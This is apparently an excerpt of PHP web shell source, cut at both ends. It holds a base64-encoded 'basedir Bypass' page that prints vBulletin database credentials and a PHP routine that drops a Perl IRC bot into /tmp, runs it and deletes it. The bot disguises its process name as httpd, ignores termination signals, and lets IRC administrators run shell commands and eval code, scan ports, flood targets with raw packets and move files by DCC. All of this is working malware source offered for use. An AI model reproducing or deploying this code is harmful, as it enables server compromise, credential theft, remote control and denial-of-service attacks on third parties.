KZWNobyAkdmJ1bGxldGluLT5jb25maWdbJ01hc3RlclNlcnZlciddWyd1c2VybmFtZSddOw0KZWNobyAiP
GJyPiI7DQplY2hvICI8Zm9udCBmYWNlPVwiVGFob21hXCIgc2l6ZT1cIjJcIiBjb2xvcj1cIiMwMDgwODB
cIj5QYXNzIDo8c3Bhbj4gPC9zcGFuPjwvZm9udD4iOw0KZWNobyAkdmJ1bGxldGluLT5jb25maWdbJ01hc
3RlclNlcnZlciddWydwYXNzd29yZCddOw0KZWNobyAiPGJyPiI7DQp9DQo/Pg0KPGh0bWwgZGlyPSJsdHI
iPiANCjxoZWFkPjx0aXRsZT5FZ1kgU3BJZEVyIGJhc2VkaXIgQnlwYXNzPC90aXRsZT48L2hlYWQ+DQo8c
3R5bGU+IA0KQk9EWSB7IFNDUk9MTEJBUi1CQVNFLUNPTE9SOiAjMTkxOTE5OyBTQ1JPTExCQVItQVJST1c
tQ09MT1I6ICMwMDgwODA7IH0gDQphe2NvbG9yOiNkYWRhZGE7dGV4dC1kZWNvcmF0aW9uOm5vbmU7Zm9ud
C1mYW1pbHk6dGFob21hO2ZvbnQtc2l6ZToxM3B4fQ0KYTpob3Zlcntjb2xvcjojMDA4MDgwfQ0KaW5wdXR
7Rk9OVC1XRUlHSFQ6bm9ybWFsO2JhY2tncm91bmQtY29sb3I6ICMxOTE5MTk7Zm9udC1zaXplOiAxMnB4O
yBjb2xvcjogI2RhZGFkYTsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxcHggc29saWQgIzY2NjY
2NjtoZWlnaHQ6MTd9DQp0ZXh0YXJlYXtiYWNrZ3JvdW5kLWNvbG9yOiMxOTE5MTk7Y29sb3I6I2RhZGFkY
Ttmb250LXdlaWdodDpib2xkO2ZvbnQtc2l6ZTogMTJweDtmb250LWZhbWlseTogVGFob21hOyBib3JkZXI
6IDFweCBzb2xpZCAjNjY2NjY2O30NCmRpdntmb250LXNpemU6MTJweDtmb250LWZhbWlseTp0YWhvbWE7Z
m9udC13ZWlnaHQ6bm9ybWFsO2NvbG9yOndoaXRlc21va2V9DQpzZWxlY3R7YmFja2dyb3VuZC1jb2xvcjo
gIzE5MTkxOTsgZm9udC1zaXplOiAxMnB4OyBjb2xvcjogI2RhZGFkYTsgZm9udC1mYW1pbHk6IFRhaG9tY
TsgYm9yZGVyOiAxcHggc29saWQgIzY2NjY2Njtmb250LXdlaWdodDpib2xkfTwvc3R5bGU+IA0KPGJvZHk
gYmdjb2xvcj1ibGFjayB0ZXh0PXdoaXRlPjxmb250IGZhY2U9InNhbnMgbXMiIHNpemU9Mz4NCjx0aXRsZ
T5iYXNlZGlyIEJ5cGFzczwvdGl0bGU+DQo8c3R5bGUgZnByb2xsb3ZlcnN0eWxlPkE6aG92ZXIge2NvbG9
yOiAjMDA4MDgwOyBmb250LWZhbWlseTogVGFob21hfQ0KPC9zdHlsZT4NCjwvaGVhZD4NCjxib2R5IHRle
HQ9IiNDMEMwQzAiIGJnY29sb3I9IiMwMDAwMDAiIGFsaW5rPSIjODA4MDgwIj4NCg0KIA0KPC9ib2R5PiA
NCgkgICAgPC9mb250Pg0KPC9odG1sPg0KPHA+DQo8aHRtbCBkaXI9Imx0ciI+IA0KPGJvZHkgYmdjb2xvc
j1ibGFjayB0ZXh0PXdoaXRlPjxmb250IGZhY2U9InNhbnMgbXMiIHNpemU9Mz4NCjxib2R5IHRleHQ9IiN
DMEMwQzAiIGJnY29sb3I9IiMwMDAwMDAiIGFsaW5rPSIjODA4MDgwIj4NCjwvcD4NCjxwIGFsaWduPSJjZ
W50ZXIiPjxwIGFsaWduPSJjZW50ZXIiPjxmb250IGZhY2U9InRhaG9tYSIgc2l6ZT0iLTIiPjxiPg0KPGZ
vbnQgc3R5bGU9IkZPTlQtV0VJR0hUOiA1MDA7IEZPTlQtU0laRTogMTAwcHQiIGZhY2U9IldlYmRpbmdzI
iBjb2xvcj0iIzgwMDAwMCI+DQohPC9mb250PjwvYj48L2ZvbnQ+PC9wPg0KPHAgYWxpZ249ImNlbnRlciI
+PGI+PGZvbnQgc2l6ZT0iNyIgZmFjZT0iQm9kb25pIE1UIEJsYWNrIj4NCjxmb250IGNvbG9yPSIjMDA4M
DgwIj5iYXNlZGlyPC9mb250PiBCeXBhc3M8L2ZvbnQ+PC9iPjwvcD4NCjxwIGFsaWduPSJjZW50ZXIiPiZ
uYnNwOzwvcD4NCjxkaXYgYWxpZ249ImNlbnRlciI+DQoJPHRhYmxlIGJvcmRlcj0iMCIgd2lkdGg9IjI0M
SIgaWQ9InRhYmxlMSIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4NCgkJPHRyPg0KCQkJPHR
kPg0KCQkJPHAgYWxpZ249ImNlbnRlciI+ZWd5IHNwaWRlcjwvdGQ+DQoJCTwvdHI+DQoJPC90YWJsZT4NC
jwvZGl2Pg0KCSAgICA8L2ZvbnQ+DQo8Zm9ybSBtZXRob2Q9IlBPU1QiPg0KCSAgICA8cCBhbGlnbj0iY2V
udGVyIj48Zm9udCBjb2xvcj0iIzAwRkYwMCI+PGZvbnQgZmFjZT0iVGFob21hIiBzaXplPSIyIj5zaXRlI
Do8L2ZvbnQ+DQoJICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJmaWxlIiBzaXplPSI0OSIgc3R5bGU
9ImZvbnQtc2l6ZTogOHB0OyBjb2xvcjogIzAwRkYwMDsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyO
iAxcHggc29saWQgIzY2NjY2NjsgYmFja2dyb3VuZC1jb2xvcjogIzgwODA4MCIgdmFsdWU9Ii9ob21lLyo
qKi9wdWJsaWNfaHRtbC92Yi8iPg0KCSAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iVGFrZSBDb
25maWciIG5hbWU9IkIxIiBzdHlsZT0iZm9udC1zaXplOiA4cHQ7IGZvbnQtZmFtaWx5OiBUYWhvbWE7IGJ
vcmRlcjogMXB4IHNvbGlkICM2NjY2NjY7IGJhY2tncm91bmQtY29sb3I6ICM4MDgwODAiPjwvZm9udD48L
3A+DQoJPC9mb3JtPg0KCSAgICA8Zm9udCBmYWNlPSJ0YWhvbWEiIHNpemU9Ii0yIj48Yj4NCjxwIGFsaWd
uPSJjZW50ZXIiPiZuYnNwOzwvcD4NCjxkaXYgaWQ9Im4iIGFsaWduPSJjZW50ZXIiPg0KICA8dGFibGUgc
3R5bGU9IkJPUkRFUi1SSUdIVDogI2VlZWVlZSBvdXRzZXQ7IEJPUkRFUi1UT1A6ICNlZWVlZWUgb3V0c2V
0OyBCT1JERVItTEVGVDogI2VlZWVlZSBvdXRzZXQ7IENPTE9SOiAjY2NjY2NjOyBCT1JERVItQk9UVE9NO
iAjZWVlZWVlIG91dHNldDsgQkFDS0dST1VORC1DT0xPUjogIzAwMDAwMCIgYm9yZGVyQ29sb3I9IiMxMTE
xMTEiIGNlbGxTcGFjaW5nPSIwIiBjZWxsUGFkZGluZz0iMCIgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMSI+D
QogICAgPHRyIHN0eWxlPSJCT1JERVItUklHSFQ6ICNjY2NjY2M7IEJPUkRFUi1UT1A6ICNjY2NjY2M7IEJ
PUkRFUi1MRUZUOiAjY2NjY2NjOyBDT0xPUjogI2ZmZmZmZjsgQk9SREVSLUJPVFRPTTogI2NjY2NjYyI+D
QogICAgICA8dGQgc3R5bGU9IkJPUkRFUi1SSUdIVDogI2NjY2NjYzsgQk9SREVSLVRPUDogI2NjY2NjYzs
gQk9SREVSLUxFRlQ6ICNjY2NjY2M7IENPTE9SOiAjY2NjY2NjOyBCT1JERVItQk9UVE9NOiAjY2NjY2NjI
iB3aWR0aD0iMTAwJSI+DQogICAgICA8cCBhbGlnbj0iY2VudGVyIj48c3Ryb25nPm8tLS1bIEVnWV9TcEl
kRXIgfCB8IDxhIGVneV9zcGlkZXJAaG90bWFpbC5jb20+DQogICAgICBlZ3lfc3BpZGVyQGhvdG1haWwuY
29tPC9hPiB8ZGV2ZWxvcGVyIGJ5IGVneSBzcGlkZXIgKGFobWVkIHJhZ2VoKSBdLS0tbzwvc3Ryb25nPjw
vdGQ+DQogICAgPC90cj4NCiAgPC90YWJsZT4NCjwvZGl2Pg0KPC9iPjwvZm9udD4NCg0KIA0KPC9ib2R5P
iANCjwvaHRtbD4=";
if(!empty($_POST['ircadmin']) AND !empty($_POST['ircserver']) AND !

empty($_POST['ircchanal']) AND !empty($_POST['ircname']))
{
$ircadmin=$_POST['ircadmin'];
$ircserver=$_POST['ircserver'];
$ircchan=$_POST['ircchanal'];
$irclabel=$_POST['ircname'];
echo "<title>OverclockiX Shell-Connector || Connecting to $ircserver<title>";
echo "<body bgcolor=\"black\" text=\"green\">";
echo "Now Connecting to <b><font color=\"red\">$ircserver</font></b> in <b><font
color=\"yellow\">$ircchan</font></b> Andministrators: <b><font
color=\"yellow\">$ircadmin</font></b> Botname is <b><font
color=\"yellow\">$irclabel</font></b>";
echo "<p>Dont Forget to Delete Loader.pl in /tmp</p>";
#######################################################
######################IRC Trojan##########################
$file="
################ CONFIGURACAO
#################################################################
my \$processo = '/usr/local/apache/bin/httpd -DSSL'; # Nome do processo que vai
aparece no ps #
#----------------------------------------------
################################################
my \$linas_max='48'; # Evita o flood :) depois de X linhas #
#----------------------------------------------
################################################
my \$sleep='4'; # ele dorme X segundos #
##################### IRC
#####################################################################
my @adms=(\"$ircadmin\"); # Nick do administrador #
#----------------------------------------------
################################################
my @canais=(\"$ircchan\"); # Caso haja senha (\"#canal :senha\") #
#----------------------------------------------
################################################
my \$nick='$irclabel'; # Nick do bot. Caso esteja em uso vai aparecer #
# aparecer com numero radonamico no
final #
#----------------------------------------------
################################################
my \$ircname = 'Linux'; # User ID #
#----------------------------------------------
################################################
chop (my \$realname = ùname -a`); # Full Name #
#----------------------------------------------
################################################
\$servidor='$ircserver' unless \$servidor; # Servidor de irc que vai ser usado #
# caso n?o seja especificado no
argumento #
#----------------------------------------------
################################################
my \$porta='6667'; # Porta do servidor de irc #
################ ACESSO A SHELL
###############################################################
my \$secv = 1; # 1/0 pra habilita/desabilita acesso a shell #
##################################################################################
#############
my \$VERSAO = '0.2';
\$SIG{'INT'} = 'IGNORE';
\$SIG{'HUP'} = 'IGNORE';
\$SIG{'TERM'} = 'IGNORE';
\$SIG{'CHLD'} = 'IGNORE';
\$SIG{'PS'} = 'IGNORE';
\$SIG{'STOP'} = 'IGNORE';
use IO::Socket;
use Socket;
use IO::Select;
chdir(\"/\");
\$servidor=\"\$ARGV[0]\" if \$ARGV[0];
$0=\"\$processo\".\"\0\"x16;;
my \$pid=fork;
exit if \$pid;
die \"Problema com o fork: $!\" unless defined(\$pid);
my \$dcc_sel = new IO::Select->new();
#############################
# B0tchZ na veia ehehe :P #
#############################
\$sel_cliente = IO::Select->new();
sub sendraw {
if ($#_ == '1') {
my \$socket = \$_[0];
print \$socket \"\$_[1]\\n\";
} else {
print \$IRC_cur_socket \"\$_[0]\\n\";
}
}
#################################
sub conectar {
my \$meunick = \$_[0];
my \$servidor_con = \$_[1];
my \$porta_con = \$_[2];
my \$IRC_socket = IO::Socket::INET->new(Proto=>\"tcp\", PeerAddr=>\"\

$servidor_con\", PeerPort=>\$porta_con) or return(1);
if (defined(\$IRC_socket)) {
\$IRC_cur_socket = \$IRC_socket;
\$IRC_socket->autoflush(1);
\$sel_cliente->add(\$IRC_socket);
\$irc_servers{\$IRC_cur_socket}{'host'} = \"\$servidor_con\";
\$irc_servers{\$IRC_cur_socket}{'porta'} = \"\$porta_con\";
\$irc_servers{\$IRC_cur_socket}{'nick'} = \$meunick;
\$irc_servers{\$IRC_cur_socket}{'meuip'} = \$IRC_socket->sockhost;
nick(\"\$meunick\");
sendraw(\"USER \$ircname \".\$IRC_socket->sockhost.\" \$servidor_con :\
$realname\");
sleep 1;
}
} #####################
my \$line_temp;
while( 1 ) {
while (!(keys(%irc_servers))) { conectar(\"\$nick\", \"\$servidor\", \"\
$porta\"); }
delete(\$irc_servers{''}) if (defined(\$irc_servers{''}));
&DCC::connections;
my @ready = \$sel_cliente->can_read(0);
next unless(@ready);
foreach \$fh (@ready) {
\$IRC_cur_socket = \$fh;
\$meunick = \$irc_servers{\$IRC_cur_socket}{'nick'};
\$nread = sysread(\$fh, \$msg, 4096);
if (\$nread == 0) {
\$sel_cliente->remove(\$fh);
\$fh->close;
delete(\$irc_servers{\$fh});
}
@lines = split (/\\n/, \$msg);
for(my \$c=0; \$c<= $#lines; \$c++) {

\$line = \$lines[\$c];
\$line=\$line_temp.\$line if (\$line_temp);
\$line_temp='';
\$line =~ s/\\r$//;
unless (\$c == $#lines) {
parse(\"\$line\");
} else {
if ($#lines == 0) {
parse(\"\$line\");
} elsif (\$lines[\$c] =~ /\\r$/) {
parse(\"\$line\");
} elsif (\$line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
parse(\"\$line\");
} else {
\$line_temp = \$line;
}
}
}
}
}
#########################
sub parse {
my \$servarg = shift;
if (\$servarg =~ /^PING \:(.*)/) {
sendraw(\"PONG :$1\");
} elsif (\$servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
my \$pn=$1; my \$onde = $4; my \$args = $5;
if (\$args =~ /^\\001VERSION\\001$/) {
notice(\"\$pn\", \"\\001VERSION ShellBOT-\$VERSAO por 0ldW0lf\\001\");
}
if (grep {\$_ =~ /^\Q\$pn\E$/i } @adms) {
if (\$onde eq \"\$meunick\"){
shell(\"\$pn\", \"\$args\");
}
if (\$args =~ /^(\Q\$meunick\E|\!atrix)\s+(.*)/ ) {
my \$natrix = $1;
my \$arg = $2;
if (\$arg =~ /^\!(.*)/) {
ircase(\"\$pn\",\"\$onde\",\"\$1\") unless (\$natrix eq \"!atrix\"
and \$arg =~ /^\!nick/);
} elsif (\$arg =~ /^\@(.*)/) {
\$ondep = \$onde;
\$ondep = \$pn if \$onde eq \$meunick;
bfunc(\"\$ondep\",\"$1\");
} else {
shell(\"\$onde\", \"\$arg\");
}
}
}
} elsif (\$servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
if (lc($1) eq lc(\$meunick)) {
\$meunick=$4;
}
} elsif (\$servarg =~ m/^\:(.+?)\s+433/i) {
nick(\"\$meunick\".int rand(9999));
} elsif (\$servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
\$meunick = $2;
\$irc_servers{\$IRC_cur_socket}{'nome'} = \"$1\";
foreach my \$canal (@canais) {
sendraw(\"JOIN \$canal\");
}
}
}
##########################
sub bfunc {
my \$printl = \$_[0];
my \$funcarg = \$_[1];
if (my \$pid = fork) {
waitpid(\$pid, 0);
} else {
if (fork) {
exit;
} else {
if (\$funcarg =~ /^portscan (.*)/) {
my \$hostip=\"$1\";
my
@portas=(\"21\",\"22\",\"23\",\"25\",\"53\",\"80\",\"110\",\"143\");
my (@aberta, %porta_banner);
foreach my \$porta (@portas) {
my \$scansock = IO::Socket::INET->new(PeerAddr => \$hostip,
PeerPort => \$porta, Proto => 'tcp', Timeout => 4);
if (\$scansock) {
push (@aberta, \$porta);
\$scansock->close;
}
}
if (@aberta) {
sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :portas abertas:
@aberta\");
} else {
sendraw(\$IRC_cur_socket,\"PRIVMSG \$printl :Nenhuma porta aberta
foi encontrada\");
}
}
if (\$funcarg =~ /^pacota\s+(.*)\s+(\d+)\s+(\d+)/) {
my (\$dtime, %pacotes) = attacker(\"$1\", \"$2\", \"$3\");
\$dtime = 1 if \$dtime == 0;
my %bytes;
\$bytes{igmp} = $2 * \$pacotes{igmp};
\$bytes{icmp} = $2 * \$pacotes{icmp};
\$bytes{o} = $2 * \$pacotes{o};
\$bytes{udp} = $2 * \$pacotes{udp};
\$bytes{tcp} = $2 * \$pacotes{tcp};
sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\\002 - Status GERAL

-\\002\");
sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\\002Tempo\\002: \
$dtime\".\"s\");
sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\\002Total
pacotes\\002: \".(\$pacotes{udp} + \$pacotes{igmp} + \$pacotes{icmp} + \
$pacotes{o}));
sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\\002Total
bytes\\002: \".(\$bytes{icmp} + \$bytes {igmp} + \$bytes{udp} + \$bytes{o}));
sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\\002Media de
envio\\002: \".int(((\$bytes{icmp}+\$bytes{igmp}+\$bytes{udp} + \
$bytes{o})/1024)/\$dtime).\" kbps\");
}
exit;
}
}
}
##########################
sub ircase {
my (\$kem, \$printl, \$case) = @_;
if (\$case =~ /^join (.*)/) {

j(\"$1\");
}
if (\$case =~ /^part (.*)/) {
p(\"$1\");
}
if (\$case =~ /^rejoin\s+(.*)/) {
my \$chan = $1;
if (\$chan =~ /^(\d+) (.*)/) {
for (my \$ca = 1; \$ca <= $1; \$ca++ ) {
p(\"$2\");
j(\"$2\");
}
} else {
p(\"\$chan\");
j(\"\$chan\");
}
}
if (\$case =~ /ôp/) {
op(\"\$printl\", \"\$kem\") if \$case eq \"op\";
my \$oarg = substr(\$case, 3);
op(\"$1\", \"$2\") if (\$oarg =~ /(\S+)\s+(\S+)/);
}
if (\$case =~ /^deop/) {
deop(\"\$printl\", \"\$kem\") if \$case eq \"deop\";
my \$oarg = substr(\$case, 5);
deop(\"$1\", \"$2\") if (\$oarg =~ /(\S+)\s+(\S+)/);
}
if (\$case =~ /^voice/) {
voice(\"\$printl\", \"\$kem\") if \$case eq \"voice\";
\$oarg = substr(\$case, 6);
voice(\"$1\", \"$2\") if (\$oarg =~ /(\S+)\s+(\S+)/);
}
if (\$case =~ /^devoice/) {
devoice(\"\$printl\", \"\$kem\") if \$case eq \"devoice\";
\$oarg = substr(\$case, 8);
devoice(\"$1\", \"$2\") if (\$oarg =~ /(\S+)\s+(\S+)/);
}
if (\$case =~ /^msg\s+(\S+) (.*)/) {
msg(\"$1\", \"$2\");
}
if (\$case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
for (my \$cf = 1; \$cf <= $1; \$cf++) {
msg(\"$2\", \"$3\");
}
}
if (\$case =~ /^ctcp\s+(\S+) (.*)/) {
ctcp(\"$1\", \"$2\");
}
if (\$case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
for (my \$cf = 1; \$cf <= $1; \$cf++) {
ctcp(\"$2\", \"$3\");
}
}
if (\$case =~ /învite\s+(\S+) (.*)/) {
invite(\"$1\", \"$2\");
}
if (\$case =~ /^nick (.*)/) {
nick(\"$1\");
}
if (\$case =~ /^conecta\s+(\S+)\s+(\S+)/) {
conectar(\"$2\", \"$1\", 6667);
}
if (\$case =~ /^send\s+(\S+)\s+(\S+)/) {
DCC::SEND(\"$1\", \"$2\");
}
if (\$case =~ /^raw (.*)/) {
sendraw(\"$1\");
}
if (\$case =~ /êval (.*)/) {
eval \"$1\";
}
}
##########################
sub shell {
return unless \$secv;
my \$printl=\$_[0];
my \$comando=\$_[1];
if (\$comando =~ /cd (.*)/) {
chdir(\"$1\") || msg(\"\$printl\", \"Dossier Makayench :D \");
return;
}
elsif (\$pid = fork) {
waitpid(\$pid, 0);
} else {
if (fork) {
exit;
} else {
my @resp=`\$comando 2>&1 3>&1`;
my \$c=0;
foreach my \$linha (@resp) {
\$c++;
chop \$linha;
sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\$linha\");
if (\$c == \"\$linas_max\") {
\$c=0;
sleep \$sleep;
}
}
exit;
}
}
}
#eu fiz um pacotadorzinhu e talz.. dai colokemo ele aki

sub attacker {
my \$iaddr = inet_aton(\$_[0]);
my \$msg = 'B' x \$_[1];
my \$ftime = \$_[2];
my \$cp = 0;
my (%pacotes);
\$pacotes{icmp} = \$pacotes{igmp} = \$pacotes{udp} = \$pacotes{o} = \
$pacotes{tcp} = 0;
socket(SOCK1, PF_INET, SOCK_RAW, 2) or \$cp++;

socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or \$cp++;
return(undef) if \$cp == 4;
my \$itime = time;
my (\$cur_time);
while ( 1 ) {
for (my \$porta = 1; \$porta <= 65535; \$porta++) {
\$cur_time = time - \$itime;
last if \$cur_time >= \$ftime;
send(SOCK1, \$msg, 0, sockaddr_in(\$porta, \$iaddr)) and \$pacotes{igmp}++;
send(SOCK2, \$msg, 0, sockaddr_in(\$porta, \$iaddr)) and \$pacotes{udp}++;
send(SOCK3, \$msg, 0, sockaddr_in(\$porta, \$iaddr)) and \$pacotes{icmp}++;
send(SOCK4, \$msg, 0, sockaddr_in(\$porta, \$iaddr)) and \$pacotes{tcp}++;
# DoS ?? :P
for (my \$pc = 3; \$pc <= 255;\$pc++) {
next if \$pc == 6;
\$cur_time = time - \$itime;
socket(SOCK5, PF_INET, SOCK_RAW, \$pc) or next;
send(SOCK5, \$msg, 0, sockaddr_in(\$porta, \$iaddr)) and \$pacotes{o}++;;
}
}
}
return(\$cur_time, %pacotes);
}
#############
# ALIASES #
#############
sub action {
return unless $#_ == 1;
sendraw(\"PRIVMSG \$_[0] :\\001ACTION \$_[1]\\001\");
}
sub ctcp {
sendraw(\"PRIVMSG \$_[0] :\\001\$_[1]\\001\");
}
sub msg {
sendraw(\"PRIVMSG \$_[0] :\$_[1]\");
}
sub notice {
sendraw(\"NOTICE \$_[0] :\$_[1]\");
}
sub op {
sendraw(\"MODE \$_[0] +o \$_[1]\");
}
sub deop {
sendraw(\"MODE \$_[0] -o \$_[1]\");
}
sub hop {
sendraw(\"MODE \$_[0] +h \$_[1]\");
}
sub dehop {
sendraw(\"MODE \$_[0] +h \$_[1]\");
}
sub voice {
sendraw(\"MODE \$_[0] +v \$_[1]\");
}
sub devoice {
sendraw(\"MODE \$_[0] -v \$_[1]\");
}
sub ban {
sendraw(\"MODE \$_[0] +b \$_[1]\");
}
sub unban {
sendraw(\"MODE \$_[0] -b \$_[1]\");
}
sub kick {
sendraw(\"KICK \$_[0] \$_[1] :\$_[2]\");
}
sub modo {
sendraw(\"MODE \$_[0] \$_[1]\");
}
sub mode { modo(@_); }
sub j { &join(@_); }
sub join {
sendraw(\"JOIN \$_[0]\");
}
sub p { part(@_); }
sub part {sendraw(\"PART \$_[0]\");}
sub nick {
sendraw(\"NICK \$_[0]\");
}
sub invite {
sendraw(\"INVITE \$_[1] \$_[0]\");
}
sub topico {
sendraw(\"TOPIC \$_[0] \$_[1]\");
}
sub topic { topico(@_); }
sub whois {
sendraw(\"WHOIS \$_[0]\");
}
sub who {
sendraw(\"WHO \$_[0]\");
}
sub names {
sendraw(\"NAMES \$_[0]\");
}
sub away {
sendraw(\"AWAY \$_[0]\");
}
sub back { away(); }
sub quit {
sendraw(\"QUIT :\$_[0]\");
}
# DCC
#########################
package DCC;
sub connections {
my @ready = \$dcc_sel->can_read(1);
# return unless (@ready);
foreach my \$fh (@ready) {
my \$dcctipo = \$DCC{\$fh}{tipo};
my \$arquivo = \$DCC{\$fh}{arquivo};
my \$bytes = \$DCC{\$fh}{bytes};
my \$cur_byte = \$DCC{\$fh}{curbyte};
my \$nick = \$DCC{\$fh}{nick};
my \$msg;
my \$nread = sysread(\$fh, \$msg, 10240);
if (\$nread == 0 and \$dcctipo =~ /^(get|sendcon)$/) {

\$DCC{\$fh}{status} = \"Cancelado\";
\$DCC{\$fh}{ftime} = time;
\$dcc_sel->remove(\$fh);
\$fh->close;
next;
}
if (\$dcctipo eq \"get\") {
\$DCC{\$fh}{curbyte} += length(\$msg);
my \$cur_byte = \$DCC{\$fh}{curbyte};
open(FILE, \">> \$arquivo\");

print FILE \"\$msg\" if (\$cur_byte <= \$bytes);
close(FILE);
my \$packbyte = pack(\"N\", \$cur_byte);

print \$fh \"\$packbyte\";
if (\$bytes == \$cur_byte) {
\$fh->close;
\$DCC{\$fh}{status} = \"Recebido\";
next;
}
} elsif (\$dcctipo eq \"send\") {
my \$send = \$fh->accept;
\$send->autoflush(1);
\$dcc_sel->add(\$send);
\$DCC{\$send}{tipo} = 'sendcon';
\$DCC{\$send}{itime} = time;
\$DCC{\$send}{nick} = \$nick;
\$DCC{\$send}{bytes} = \$bytes;
\$DCC{\$send}{curbyte} = 0;
\$DCC{\$send}{arquivo} = \$arquivo;
\$DCC{\$send}{ip} = \$send->peerhost;
\$DCC{\$send}{porta} = \$send->peerport;
\$DCC{\$send}{status} = \"Enviando\";
#de cara manda os primeiro 1024 bytes do arkivo.. o resto fik com o
sendcon
open(FILE, \"< \$arquivo\");
my \$fbytes;
read(FILE, \$fbytes, 1024);
print \$send \"\$fbytes\";
close FILE;
# delete(\$DCC{\$fh});
} elsif (\$dcctipo eq 'sendcon') {
my \$bytes_sended = unpack(\"N\", \$msg);
\$DCC{\$fh}{curbyte} = \$bytes_sended;
if (\$bytes_sended == \$bytes) {
\$fh->close;
\$DCC{\$fh}{status} = \"Enviado\";
next;
}
open(SENDFILE, \"< \$arquivo\");
seek(SENDFILE, \$bytes_sended, 0);
my \$send_bytes;
read(SENDFILE, \$send_bytes, 1024);
print \$fh \"\$send_bytes\";
close(SENDFILE);
}
}
}
##########################
sub SEND {
my (\$nick, \$arquivo) = @_;
unless (-r \"\$arquivo\") {
return(0);
}
my \$dccark = \$arquivo;
\$dccark =~ s/[.*\/](\S+)/$1/;
my \$meuip = $::irc_servers{\"$::IRC_cur_socket\"}{'meuip'};
my \$longip = unpack(\"N\",inet_aton(\$meuip));
my @filestat = stat(\$arquivo);
my \$size_total=\$filestat[7];
if (\$size_total == 0) {
return(0);
}
my (\$porta, \$sendsock);
do {
\$porta = int rand(64511);
\$porta += 1024;
\$sendsock = IO::Socket::INET->new(Listen=>1, LocalPort =>\$porta, Proto =>
'tcp') and \$dcc_sel->add(\$sendsock);
} until \$sendsock;
\$DCC{\$sendsock}{tipo} = 'send';
\$DCC{\$sendsock}{nick} = \$nick;
\$DCC{\$sendsock}{bytes} = \$size_total;
\$DCC{\$sendsock}{arquivo} = \$arquivo;
&::ctcp(\"\$nick\", \"DCC SEND \$dccark \$longip \$porta \$size_total\");
sub GET {
my (\$arquivo, \$dcclongip, \$dccporta, \$bytes, \$nick) = @_;
return(0) if (-e \"\$arquivo\");
if (open(FILE, \"> \$arquivo\")) {
close FILE;
} else {
return(0);
}
my \$dccip=fixaddr(\$dcclongip);
return(0) if (\$dccporta < 1024 or not defined \$dccip or \$bytes < 1);
my \$dccsock = IO::Socket::INET->new(Proto=>\"tcp\", PeerAddr=>\$dccip,
PeerPort=>\$dccporta, Timeout=>15) or return (0);
\$dccsock->autoflush(1);
\$dcc_sel->add(\$dccsock);
\$DCC{\$dccsock}{tipo} = 'get';
\$DCC{\$dccsock}{itime} = time;
\$DCC{\$dccsock}{nick} = \$nick;
\$DCC{\$dccsock}{bytes} = \$bytes;
\$DCC{\$dccsock}{curbyte} = 0;
\$DCC{\$dccsock}{arquivo} = \$arquivo;
\$DCC{\$dccsock}{ip} = \$dccip;
\$DCC{\$dccsock}{porta} = \$dccporta;
\$DCC{\$dccsock}{status} = \"Recebendo\";
}
############################
# po fico xato de organiza o status.. dai fiz ele retorna o status de acordo com o
socket.. dai o ADM.pl lista os sockets e faz as perguntas
sub Status {
my \$socket = shift;
my \$sock_tipo = \$DCC{\$socket}{tipo};
unless (lc(\$sock_tipo) eq \"chat\") {
my \$nick = \$DCC{\$socket}{nick};
my \$arquivo = \$DCC{\$socket}{arquivo};
my \$itime = \$DCC{\$socket}{itime};
my \$ftime = time;
my \$status = \$DCC{\$socket}{status};
\$ftime = \$DCC{\$socket}{ftime} if defined(\$DCC{\$socket}{ftime});
my \$d_time = \$ftime-\$itime;
my \$cur_byte = \$DCC{\$socket}{curbyte};
my \$bytes_total = \$DCC{\$socket}{bytes};
my \$rate = 0;
\$rate = (\$cur_byte/1024)/\$d_time if \$cur_byte > 0;
my \$porcen = (\$cur_byte*100)/\$bytes_total;
my (\$r_duv, \$p_duv);
if (\$rate =~ /^(\d+)\.(\d)(\d)(\d)/) {
\$r_duv = $3; \$r_duv++ if $4 >= 5;
\$rate = \"$1\.$2\".\"\$r_duv\";
}
if (\$porcen =~ /^(\d+)\.(\d)(\d)(\d)/) {
\$p_duv = $3; \$p_duv++ if $4 >= 5;
\$porcen = \"$1\.$2\".\"\$p_duv\";
}
return(\"\$sock_tipo\",\"\$status\",\"\$nick\",\"\$arquivo\",\"\
$bytes_total\", \"\$cur_byte\",\"\$d_time\", \"\$rate\", \"\$porcen\");
}
return(0);
}
# esse 'sub fixaddr' daki foi pego do NET::IRC::DCC identico soh copiei e coloei
(colokar nome do autor)
sub fixaddr {
my (\$address) = @_;
chomp \$address; # just in case, sigh.

if (\$address =~ /^\d+$/) {
return inet_ntoa(pack \"N\", \$address);
} elsif (\$address =~ /^[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}\.
[12]?\d{1,2}$/) {
return \$address;
} elsif (\$address =~ tr/a-zA-Z//) { # Whee! Obfuscation!
return inet_ntoa(((gethostbyname(\$address))[4])[0]);
} else {
return;
}
}
############################
";
$bot = "/tmp/ircs.pl";
$open = fopen($bot,"w");
fputs($open,$file);
fclose($open);
$cmd="perl $bot";
$cmd2="rm $bot";
system($cmd);
system($cmd2);
$_POST['cmd']="echo \"Now script try connect to ircserver ...\"";
}
if($unix)
{
if(!isset($_COOKIE['uname'])) { $uname = ex('uname -a'); setcookie('uname',
$uname); } else { $uname = $_COOKIE['uname']; }
if(!isset($_COOKIE['id'])) { $id = ex('id'); setcookie('id',$id); } else { $id =
